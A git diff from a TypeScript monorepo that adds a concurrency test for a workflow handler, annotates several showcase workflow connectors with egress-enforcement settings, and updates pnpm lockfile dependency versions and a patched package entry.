+    let release = () => {};
+    let entered = () => {};
+    const held = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const ready = new Promise<void>((resolve) => {
+      entered = resolve;
+    });
+    let holdNext = true;
+    const claimSpy = vi
+      .spyOn(resources, 'claim')
+      .mockImplementation(async (...args) => {
+        if (holdNext && args[0] === 'run') {
+          holdNext = false;
+          entered();
+          await held;
+        }
+        return claim(...args);
+      });
+    const start = vi.spyOn(harness.runtime, 'start');
+    const operation = handle(startRequest('access-request', ACCESS_INPUT));
+    try {
+      await Promise.race([ready, operation]);
+      expect(holdNext).toBe(false);
+      expect(start).not.toHaveBeenCalled();
+      release();
+      expect((await operation)?.status).toBe(200);
+      expect(start).toHaveBeenCalledTimes(1);
+      expect(start.mock.calls[0]).toEqual([
+        'access-request',
+        expect.objectContaining({
+          mutationEpoch: 7,
+          requestedBy: 'ada',
+          requestedByKind: 'human',
+        }),
+      ]);
+    } finally {
+      release();
+      await Promise.allSettled([operation]);
+      claimSpy.mockRestore();
+      start.mockRestore();
+    }
+  });
+
   it('serves all six workflow metas at GET /workflows', async () => {
     // #given
     const harness = buildHarness();
diff --git a/packages/showcase/worker/workflows/access-request.ts b/packages/showcase/worker/workflows/access-request.ts
index 0c456aa3..301d9669 100644
--- a/packages/showcase/worker/workflows/access-request.ts
+++ b/packages/showcase/worker/workflows/access-request.ts
@@ -56,7 +56,13 @@ export const accessRequestModule: WorkflowModule<ShowcaseModuleDeps> = {
         resource: z.string(),
         role: z.string(),
       }),
-      permissions: { sideEffect: 'write', requiresApproval: true },
+      permissions: {
+        sideEffect: 'write',
+        // execute logs the grant and returns; no HTTP request leaves this
+        // connector.
+        egressEnforcement: 'enforced',
+        requiresApproval: true,
+      },
       policies: {
         audit,
         evaluators: [
diff --git a/packages/showcase/worker/workflows/content-pipeline.ts b/packages/showcase/worker/workflows/content-pipeline.ts
index 83c1a6f0..0eec2e28 100644
--- a/packages/showcase/worker/workflows/content-pipeline.ts
+++ b/packages/showcase/worker/workflows/content-pipeline.ts
@@ -66,6 +66,9 @@ export const contentPipelineModule: WorkflowModule<ShowcaseModuleDeps> = {
       outputSchema: z.object({ published: z.boolean(), key: z.string() }),
       permissions: {
         sideEffect: 'write',
+        // The publish is an R2 artifact-store binding, which the egress guard
+        // never sees and which carries no HTTP request of its own.
+        egressEnforcement: 'enforced',
         requiresApproval: true,
         idempotencyKey: true,
       },
diff --git a/packages/showcase/worker/workflows/gtm-outbound.ts b/packages/showcase/worker/workflows/gtm-outbound.ts
index 88912b38..24c9419c 100644
--- a/packages/showcase/worker/workflows/gtm-outbound.ts
+++ b/packages/showcase/worker/workflows/gtm-outbound.ts
@@ -70,7 +70,13 @@ export const gtmOutboundModule: WorkflowModule<ShowcaseModuleDeps> = {
         outcome: z.enum(CONNECTOR_OUTCOMES),
         delivered: z.number(),
       }),
-      permissions: { sideEffect: 'write', requiresApproval: true },
+      permissions: {
+        sideEffect: 'write',
+        // The send is the Cloudflare Email Service binding, which the egress
+        // guard never sees and which carries no HTTP request of its own.
+        egressEnforcement: 'enforced',
+        requiresApproval: true,
+      },
       policies: { audit },
       execute: async ({ drafts }) => {
         if (!email) {
diff --git a/packages/showcase/worker/workflows/lead-generation.ts b/packages/showcase/worker/workflows/lead-generation.ts
index fb5280ba..9101494b 100644
--- a/packages/showcase/worker/workflows/lead-generation.ts
+++ b/packages/showcase/worker/workflows/lead-generation.ts
@@ -88,6 +88,9 @@ export const leadGenerationModule: WorkflowModule<ShowcaseModuleDeps> = {
         sideEffect: 'write',
         requiresApproval: true,
         egress: [CRM_HOST],
+        // The assign rides the host-supplied crm.fetch, a transport the egress
+        // guard never sees.
+        egressEnforcement: 'declaration-only',
         rateLimit: '5/min',
       },
       policies: {
diff --git a/packages/showcase/worker/workflows/product-launch.ts b/packages/showcase/worker/workflows/product-launch.ts
index e54fa39a..709572c7 100644
--- a/packages/showcase/worker/workflows/product-launch.ts
+++ b/packages/showcase/worker/workflows/product-launch.ts
@@ -67,6 +67,9 @@ export const productLaunchModule: WorkflowModule<ShowcaseModuleDeps> = {
         sideEffect: 'destructive',
         requiresApproval: true,
         egress: [DEPLOY_HOST],
+        // The webhook rides the host-supplied deploy.fetch, a transport the
+        // egress guard never sees.
+        egressEnforcement: 'declaration-only',
         idempotencyKey: true,
         dryRun: true,
       },
diff --git a/packages/showcase/worker/workflows/wire-transfer.ts b/packages/showcase/worker/workflows/wire-transfer.ts
index 22bcd760..11717f9d 100644
--- a/packages/showcase/worker/workflows/wire-transfer.ts
+++ b/packages/showcase/worker/workflows/wire-transfer.ts
@@ -64,7 +64,13 @@ export const wireTransferModule: WorkflowModule<ShowcaseModuleDeps> = {
         confirmation: z.string(),
         reference: z.string(),
       }),
-      permissions: { sideEffect: 'write', requiresApproval: true },
+      permissions: {
+        sideEffect: 'write',
+        // execute records the envelope and returns; no payment rail and no
+        // HTTP request leave this connector.
+        egressEnforcement: 'enforced',
+        requiresApproval: true,
+      },
       policies: { audit },
       execute: async ({ amount, currency, beneficiary, reference }) => {
         console.log(
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index c22e8e6a..e8c9f27b 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -13,6 +13,12 @@ overrides:
   js-yaml@4: 4.3.1
   nanoid@3: 3.3.17
   undici: 7.29.0
+  miniflare@5.20260730.0-alpha>workerd: 1.20260903.1
+
+patchedDependencies:
+  '@mastra/core@1.53.0':
+    hash: 1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048
+    path: packages/flowsafe/patches/@mastra__core@1.53.0.patch
 
 importers:
 
@@ -29,10 +35,10 @@ importers:
         version: 2.31.0(@types/node@22.20.0)
       '@cloudflare/vitest-pool-workers':
         specifier: 0.20.1
-        version: 0.20.1(@cloudflare/workers-types@5.20260730.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)))
+        version: 0.20.1(@cloudflare/workers-types@5.20260905.1)(@vitest/runner@4.1.9)(@vitest/snapshot@4.1.9)(vitest@4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0)))
       '@cloudflare/workers-types':
-        specifier: 5.20260730.1
-        version: 5.20260730.1
+        specifier: 5.20260905.1
+        version: 5.20260905.1
       '@types/node':
         specifier: 22.20.0
         version: 22.20.0
@@ -73,8 +79,8 @@ importers:
         specifier: ^4.1.8
         version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))
       wrangler:
-        specifier: 4.118.0
-        version: 4.118.0(@cloudflare/workers-types@5.20260730.1)
+        specifier: 4.129.0
+        version: 4.129.0(@cloudflare/workers-types@5.20260905.1)
       yaml:
         specifier: 2.9.0
         version: 2.9.0
@@ -83,7 +89,7 @@ importers:
     dependencies:
       '@mastra/core':
         specifier: 1.53.0
-        version: 1.53.0(express@5.2.1)(zod@4.4.3)
+        version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)
       '@proofoftech/breakwater':
         specifier: workspace:*
         version: link:../breakwater
@@ -95,8 +101,8 @@ importers:
         version: 4.4.3
     devDependencies:
       '@cloudflare/workers-types':
-        specifier: ^4.2025
-        version: 4.20260702.1
+        specifier: ^5.20260905.1
+        version: 5.20260905.1
       typescript:
         specifier: ^5.6
         version: 5.9.3
@@ -104,8 +110,8 @@ importers:
         specifier: ^4.1.8
         version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))
       wrangler:
-        specifier: ^4.107.0
-        version: 4.107.0(@cloudflare/workers-types@4.20260702.1)
+        specifier: ^4.129.0
+        version: 4.129.0(@cloudflare/workers-types@5.20260905.1)
 
   packages/breakwater:
     dependencies:
@@ -115,7 +121,7 @@ importers:
     devDependencies:
       '@mastra/core':
         specifier: 1.53.0
-        version: 1.53.0(express@5.2.1)(zod@4.4.3)
+        version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)
       '@types/node':
         specifier: ^22.20.0
         version: 22.20.0
@@ -139,8 +145,8 @@ importers:
         version: 9.3.3
     devDependencies:
       '@cloudflare/workers-types':
-        specifier: 5.20260730.1
-        version: 5.20260730.1
+        specifier: 5.20260905.1
+        version: 5.20260905.1
       '@types/node':
         specifier: 22.20.0
         version: 22.20.0
@@ -151,14 +157,14 @@ importers:
         specifier: ^4.1.8
         version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))
       wrangler:
-        specifier: 4.118.0
-        version: 4.118.0(@cloudflare/workers-types@5.20260730.1)
+        specifier: 4.129.0
+        version: 4.129.0(@cloudflare/workers-types@5.20260905.1)
 
   packages/flowsafe:
     dependencies:
       '@mastra/cloudflare-d1':
         specifier: 1.1.1
-        version: 1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(express@5.2.1)(zod@4.4.3))
+        version: 1.1.1(@cloudflare/workers-types@4.20260702.1)(@mastra/core@1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3))
       jose:
         specifier: 6.2.8
         version: 6.2.8
@@ -168,7 +174,7 @@ importers:
         version: 4.20260702.1
       '@mastra/core':
         specifier: 1.53.0
-        version: 1.53.0(express@5.2.1)(zod@4.4.3)
+        version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)
       '@proofoftech/breakwater':
         specifier: workspace:*
         version: link:../breakwater
@@ -199,9 +205,6 @@ importers:
       vitest:
         specifier: ^4.1.8
         version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))
-      wrangler:
-        specifier: 4.118.0
-        version: 4.118.0(@cloudflare/workers-types@4.20260702.1)
       zod:
         specifier: 4.4.3
         version: 4.4.3
@@ -222,7 +225,7 @@ importers:
         version: 5.2.7
       '@mastra/core':
         specifier: 1.53.0
-        version: 1.53.0(express@5.2.1)(zod@4.4.3)
+        version: 1.53.0(patch_hash=1c56cc954864b021d43e9cfa80f22da840ba12d03f6d260a2e1435918ad5d048)(express@5.2.1)(zod@4.4.3)
       '@proofoftech/breakwater':
         specifier: workspace:*
         version: link:../breakwater
@@ -250,10 +253,10 @@ importers:
     devDependencies:
       '@cloudflare/vite-plugin':
         specifier: 1.50.0
-        version: 1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.118.0(@cloudflare/workers-types@5.20260730.1))
+        version: 1.50.0(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))(wrangler@4.129.0(@cloudflare/workers-types@5.20260905.1))
       '@cloudflare/workers-types':
-        specifier: 5.20260730.1
-        version: 5.20260730.1
+        specifier: 5.20260905.1
+        version: 5.20260905.1
       '@testing-library/jest-dom':
         specifier: ^6.6.0
         version: 6.9.1
@@ -282,8 +285,8 @@ importers:
         specifier: ^4.1.8
         version: 4.1.9(@types/node@22.20.0)(happy-dom@20.10.6)(jsdom@25.0.1)(vite@6.4.3(@types/node@22.20.0)(jiti@2.7.0)(yaml@2.9.0))
       wrangler:
-        specifier: 4.118.0
-        version: 4.118.0(@cloudflare/workers-types@5.20260730.1)
+        specifier: 4.129.0
+        version: 4.129.0(@cloudflare/workers-types@5.20260905.1)
 
 packages:
 
@@ -608,22 +611,16 @@ packages:
       '@vitest/snapshot': ^4.1.0
       vitest: ^4.1.0
 
-  '@cloudflare/workerd-darwin-64@1.20260701.1':
-    resolution: {integrity: sha512-Zd9Y1bah6DwwBN2RW8vJohffQrIUazb8UXnqSNecOxM+jJLhUuvv5IOG8dbHcV83TyZAubea6gsQXo2yH1lDdw==}
-    engines: {node: '>=16'}
-    cpu: [x64]
-    os: [darwin]
-
   '@cloudflare/workerd-darwin-64@1.20260730.1':
     resolution: {integrity: sha512-+MBHmPaiTe2KajryW0T24rZvWFxb41hD3d8anNzQqHzft6vSEb18+sp0znSwxgij7ApPhSM1+vhkNg4f3YMguA==}
     engines: {node: '>=16'}
     cpu: [x64]
     os: [darwin]
 
-  '@cloudflare/workerd-darwin-arm64@1.20260701.1':
-    resolution: {integrity: sha512-yBLsjS1qCWqFyCY37qRUrYfzHHvMGvjh8zRKJ6MvUivYDhkZTzqduppK38FoqYvayLJ5KbcxH7zo5rkxGqbsaA==}
+  '@cloudflare/workerd-darwin-64@1.20260903.1':
+    resolution: {integrity: sha512-FG+4mGxAXhKiL/1temH42alevIkumtYXNidhTa//3yULpzux6APw5UNVocI/vCQ1yG1YOEZRfbVy8lyuipM9MQ==}
     engines: {node: '>=16'}
-    cpu: [arm64]
+    cpu: [x64]
     os: [darwin]
 
   '@cloudflare/workerd-darwin-arm64@1.20260730.1':
@@ -632,11 +629,11 @@ packages:
     cpu: [arm64]
     os: [darwin]
 
-  '@cloudflare/workerd-linux-64@1.20260701.1':
-    resolution: {integrity: sha512-vMfqSIMfoo4xmZXEuUVqLpSFS921YKjiR9q7kDXPi6Vld1PK74UHg9LZuBavT2KSyemHUCTpj9y/4JSYOEyQbQ==}
+  '@cloudflare/workerd-darwin-arm64@1.20260903.1':
+    resolution: {integrity: sha512-o241VefnjG8eG+kGap5CjgV4zOT5UaAmS3OR1VZCpNj7vkXGxvp9KftKvtQgcCsIqJKaKx+7Xd7xq0L1DjkfPQ==}
     engines: {node: '>=16'}
-    cpu: [x64]
-    os: [linux]
+    cpu: [arm64]
+    os: [darwin]
 
   '@cloudflare/workerd-linux-64@1.20260730.1':
     resolution: {integrity: sha512-ouyPOSMbiKPeSwUJUvxtMcxGAXs2J4aPE4T5ABIYX5ClcQx5j5bbHTmnqOQEY8sAuLTPjH7dY+iB6UI5ISlwwA==}
@@ -644,10 +641,10 @@ packages:
     cpu: [x64]
     os: [linux]
 
-  '@cloudflare/workerd-linux-arm64@1.20260701.1':
-    resolution: {integrity: sha512-HRfwbKU2pK44V2NhoM0+iH0JJSj7nQ9Wv13ifIiGYCmTtDL8/zKtEhX7kQ3D4Vy/Cpjhttl0FkfqXj1aqLDPPg==}
+  '@cloudflare/workerd-linux-64@1.20260903.1':
+    resolution: {integrity: sha512-/VEvvtQ/XKf6HlBbg6FbvpwcpfYUcx6Fv6RkASY8DyEmUyuJ8rc7Qxil83ClRFoBzz/GY0BV94UZ6F+wers/hg==}
     engines: {node: '>=16'}
-    cpu: [arm64]
+    cpu: [x64]
     os: [linux]
 
   '@cloudflare/workerd-linux-arm64@1.20260730.1':
@@ -656,11 +653,11 @@ packages:
     cpu: [arm64]
     os: [linux]
 
-  '@cloudflare/workerd-windows-64@1.20260701.1':
-    resolution: {integrity: sha512-ngxCiIN9s/fM2o1IBMD0o1/mcXrv2NJVdyznh51UH8sQuvrTrXvV2nM0Uj/qU2wMwF6prgNBcdcd7AZeZGiBQA==}
+  '@cloudflare/workerd-linux-arm64@1.20260903.1':
+    resolution: {integrity: sha512-OWhihGC6KoTXF4u2C1AonfpgXeM4/7p/1IXuALqXESmFUpLLP5gZhRzjSk/gWW+mrCZDfSrvnjifl+lRqselbA==}
     engines: {node: '>=16'}
-    cpu: [x64]
-    os: [win32]
+    cpu: [arm64]
+    os: [linux]
 
   '@cloudflare/workerd-windows-64@1.20260730.1':
     resolution: {integrity: sha512-27fAN+vUECW1oYVc1KOcHYpkL8COM2Uxtxql7TL595kxbjoqS5yckw7NLz7bTf2pALFCZWjqXDjZGJ/xbG4ZKQ==}
@@ -668,11 +665,17 @@ packages:
     cpu: [x64]
     os: [win32]
 
+  '@cloudflare/workerd-windows-64@1.20260903.1':
+    resolution: {integrity: sha512-soPMF9/aMHlHKK7M0vq5HrRRicPbnZO1F6ZZ7JWN8EltxWJU5L7CEq7CxjO878DzyPx7gYvqBFy3SVgdZKZjMQ==}
+    engines: {node: '>=16'}
+    cpu: [x64]
+    os: [win32]
+
   '@cloudflare/workers-types@4.20260702.1':
     resolution: {integrity: sha512-mOhf5TUEB1m2vPrxtqoIGfz0fUC9xyxRDx5gWHy5s+OCo6dcV+g7wI1R7gYCMFohhqF/2y2xeKVwMwCJjfn/WA==}
 
-  '@cloudflare/workers-types@5.20260730.1':
-    resolution: {integrity: sha512-3e1cBXcPTwXBk2ur0CfxZKQKL6X7vUZlOn1R7VYU0zZVJcSKFcq1AoOZM+ps0LuL0uTAxdcLg+qwXrBXVu+UuQ==}
+  '@cloudflare/workers-types@5.20260905.1':
+    resolution: {integrity: sha512-ebDpVTgrnee245IRBTazyfjfmZas+HJehZyVQkKmUozsBN8RzvXXMI0XjjcT2rQjw+0USewfEGGLYiHO+TL0Sg==}
 
   '@colors/colors@1.5.0':
     resolution: {integrity: sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==}
@@ -1044,24 +1047,12 @@ packages:
     resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==}
     engines: {node: '>=18'}
 
-  '@img/sharp-darwin-arm64@0.34.5':
-    resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [arm64]
-    os: [darwin]
-
   '@img/sharp-darwin-arm64@0.35.2':
     resolution: {integrity: sha512-eEieHsMksAW4IiO5NzauESRl2D2qz3J/kwUxUrSfV06A93eEaRfMpHXyUb1mAqrR7i8U9A0GRqE9pjn6u1Jjpg==}
     engines: {node: '>=20.9.0'}
     cpu: [arm64]
     os: [darwin]
 
-  '@img/sharp-darwin-x64@0.34.5':
-    resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [x64]
-    os: [darwin]
-
   '@img/sharp-darwin-x64@0.35.2':
     resolution: {integrity: sha512-BaktuGPCeHJMARpodR8jK4uKiZrPAy9WrfQW0sdI37clracq8Bp01AYS3SZgi5FS/y5twa9t4+LIuuxQjqRrWw==}
     engines: {node: '>=20.9.0'}
@@ -1073,129 +1064,64 @@ packages:
     engines: {node: '>=20.9.0'}
     os: [freebsd]
 
-  '@img/sharp-libvips-darwin-arm64@1.2.4':
-    resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==}
-    cpu: [arm64]
-    os: [darwin]
-
   '@img/sharp-libvips-darwin-arm64@1.3.1':
     resolution: {integrity: sha512-4V/M3roRMTYjiwZY9IOVQOE8OyeCxFAkYmyZDrZl51uOKjibm3oeEJ4WAmLxutAfzFbC9jqUiPs2gbnGflH+7g==}
     cpu: [arm64]
     os: [darwin]
 
-  '@img/sharp-libvips-darwin-x64@1.2.4':
-    resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==}
-    cpu: [x64]
-    os: [darwin]
-
   '@img/sharp-libvips-darwin-x64@1.3.1':
     resolution: {integrity: sha512-c0/DxItpJv2+dGhgycJBBgotdqruGYDvA79drdh0MD1dFpy7JzJ/PlXwi1H4rFf0eTy8tgbI91aHDnZIceY3jQ==}
     cpu: [x64]
     os: [darwin]
 
-  '@img/sharp-libvips-linux-arm64@1.2.4':
-    resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==}
-    cpu: [arm64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-libvips-linux-arm64@1.3.1':
     resolution: {integrity: sha512-JznefmcK9j1JKPz8AkQDh89kjojubyfOasWBPKfzMIhPwsgDy9evpE/naJTXXXmghS1iFwR8u/kTwh/I2/+GCw==}
     cpu: [arm64]
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-libvips-linux-arm@1.2.4':
-    resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==}
-    cpu: [arm]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-libvips-linux-arm@1.3.1':
     resolution: {integrity: sha512-aGGy9aWzXgHBG7HNyQPWorZthlp7+x6fDRoPAQbGO3ThcttuTyKIx3NuSHb6zb4gBNq6/yNn9f1cy9nFKS/Vmg==}
     cpu: [arm]
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-libvips-linux-ppc64@1.2.4':
-    resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==}
-    cpu: [ppc64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-libvips-linux-ppc64@1.3.1':
     resolution: {integrity: sha512-1EkwGNCZk6iWNCMWqrvdJ+r1j0PT1zIz60CNPhYnJlK/zyeWqlsPZIe+ocBVqPF8k/Ssee/NCk+tE9Ryrko6ng==}
     cpu: [ppc64]
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-libvips-linux-riscv64@1.2.4':
-    resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==}
-    cpu: [riscv64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-libvips-linux-riscv64@1.3.1':
     resolution: {integrity: sha512-Ilays+w2bXdnxzxtQdmXR62u8o8GYa3eL4+Gr+1KiE4xperMZUslRaVPJwwPkzlHEjGfXAfRVAa/7CYCtSqsBw==}
     cpu: [riscv64]
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-libvips-linux-s390x@1.2.4':
-    resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==}
-    cpu: [s390x]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-libvips-linux-s390x@1.3.1':
     resolution: {integrity: sha512-VfBwVHQTbRoj4XlpA/KLZ7ltgMpz+4WSejFzQ+GnoImjo1PtEJ59QB2qR1xQEeRPYIkNrPIm2L4cICMvz4C2ew==}
     cpu: [s390x]
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-libvips-linux-x64@1.2.4':
-    resolution: {integrity: sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==}
-    cpu: [x64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-libvips-linux-x64@1.3.1':
     resolution: {integrity: sha512-+c8ukgwU62DS54nCAjw7keOfHUkmr0B5QHEdcOqRnodF/MNXJbVI8Eopoj4B/0H8Asr65I+A4Amrn7a85/md6A==}
     cpu: [x64]
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-libvips-linuxmusl-arm64@1.2.4':
-    resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==}
-    cpu: [arm64]
-    os: [linux]
-    libc: [musl]
-
   '@img/sharp-libvips-linuxmusl-arm64@1.3.1':
     resolution: {integrity: sha512-qlKb/pwbkAi1WMsJrYHk7CuDrd12s27U2QnRhFYUoJNrRCmkosMTttuRFat/DDB3IlDm5qE1TJgZ4JDnHX8Ldw==}
     cpu: [arm64]
     os: [linux]
     libc: [musl]
 
-  '@img/sharp-libvips-linuxmusl-x64@1.2.4':
-    resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==}
-    cpu: [x64]
-    os: [linux]
-    libc: [musl]
-
   '@img/sharp-libvips-linuxmusl-x64@1.3.1':
     resolution: {integrity: sha512-yO21HwoUVLN8Qa+/SBjQLMYwBWAVJjeGPNe+hc0OUeMeifEtJqu5a1c4HayE1nNpDih9y3/KkoltfkDodmKAlg==}
     cpu: [x64]
     os: [linux]
     libc: [musl]
 
-  '@img/sharp-linux-arm64@0.34.5':
-    resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [arm64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-linux-arm64@0.35.2':
     resolution: {integrity: sha512-af12Pnd0ZGu2HfP8NayB0kk6eC/lrfbQE6HlR4jD+34wdJ1Vw9TF6TMn6ZvffT+WgqVsl0hRbmNvz2u/23VmwA==}
     engines: {node: '>=20.9.0'}
@@ -1203,13 +1129,6 @@ packages:
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-linux-arm@0.34.5':
-    resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [arm]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-linux-arm@0.35.2':
     resolution: {integrity: sha512-SE4kzF2mepn6z+6E7L6lsV8FzuLL6IPQdyX8ZiwROAG/G8td+hP/m7FsFPwidtrF19gvajuC9l6TxAVcsA4S7A==}
     engines: {node: '>=20.9.0'}
@@ -1217,13 +1136,6 @@ packages:
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-linux-ppc64@0.34.5':
-    resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [ppc64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-linux-ppc64@0.35.2':
     resolution: {integrity: sha512-hYSBm7zcNtDCozCxQHYZJiu63b/bXsgRZuOxCIBZsStMM9Vap47iFHdbX4kCvQsblPB/k+clhELpdQJHQLSHvg==}
     engines: {node: '>=20.9.0'}
@@ -1231,13 +1143,6 @@ packages:
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-linux-riscv64@0.34.5':
-    resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [riscv64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-linux-riscv64@0.35.2':
     resolution: {integrity: sha512-qQt0Kc13+Hoan/Awq/qMSQw3L+RI1NCRPgD5cUJ/1WSSmIoysLOc72jlRM3E0OHN9Yr313jgeQ2T+zW+F03QFA==}
     engines: {node: '>=20.9.0'}
@@ -1245,13 +1150,6 @@ packages:
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-linux-s390x@0.34.5':
-    resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [s390x]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-linux-s390x@0.35.2':
     resolution: {integrity: sha512-E4fLLfRPzDLlEeDaTzI98OFLcv++WL5ChLLMwPoVd0CIoZQqupBSNbOisPL5am9XsbQ9T84+iiMpUvbFtkunbA==}
     engines: {node: '>=20.9.0'}
@@ -1259,13 +1157,6 @@ packages:
     os: [linux]
     libc: [glibc]
 
-  '@img/sharp-linux-x64@0.34.5':
-    resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==}
-    engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
-    cpu: [x64]
-    os: [linux]
-    libc: [glibc]
-
   '@img/sharp-linux-x64@0.35.2':
